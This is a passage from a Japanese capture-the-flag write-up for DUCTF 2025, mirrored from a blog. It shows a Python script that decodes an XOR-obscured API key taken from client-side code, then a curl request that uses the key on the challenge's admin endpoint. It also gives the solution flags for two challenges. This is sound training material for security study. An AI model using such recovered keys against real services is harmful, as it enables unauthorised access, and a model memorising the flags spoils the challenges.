#!/usr/bin/env python3
nums = [
    '85', '87', '77', '67', '40', '82', '82', '70', '78', '39', '95', '89',
    '67', '73', '34', '68', '68', '92', '84', '57', '70', '87', '95', '77', '75'
]

api_key = ''.join([chr(int(n) ^ (i + 1)) for i, n in enumerate(nums)])
print(api_key)

この結果API Keyは以下であることがわかる。

TUNG-TUNG-TUNG-TUNG-SAHUR
$ curl -X POST https://web-mini-me-ab6d19a7ea6e.2025.ductf.net/admin/flag -H "X-API-Key: TUNG-TUNG-TUNG-TUNG-SAHUR"  
DUCTF{Cl13nt-S1d3-H4ck1nG-1s-FuN}
DUCTF{Cl13nt-S1d3-H4ck1nG-1s-FuN}

Survey (survey)

アンケートに答えたら、フラグは表示されなかった。HTMLソースをを探すと、フラグが書いてある箇所があった。

[1769264212,"FLAG","DUCTF{dear_player,_thanks_for_playing_DUCTF_2025!_sincerely,_the_DUCTF_team}",0,[[1805201138,null,0]],null,null,null,null,null,null,[null,"FLAG"]
DUCTF{dear_player,_thanks_for_playing_DUCTF_2025!_sincerely,_the_DUCTF_team}



以上の内容はhttps://yocchin.hatenablog.com/entry/2025/07/22/075425より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14